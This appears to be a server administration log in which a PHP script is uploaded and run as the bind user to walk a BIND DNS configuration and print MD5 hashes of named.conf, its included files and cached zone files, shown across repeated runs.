MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:21:55: Establishing a connection
2026-04-25 18:21:55: 

PUT: /tmp/pkp773277

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:21:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp773277; rm /tmp/pkp773277'

2026-04-25 18:21:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:21:55: Establishing a connection
2026-04-25 18:21:55: 

PUT: /tmp/pkp331258

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:21:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp331258; rm /tmp/pkp331258'

2026-04-25 18:21:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
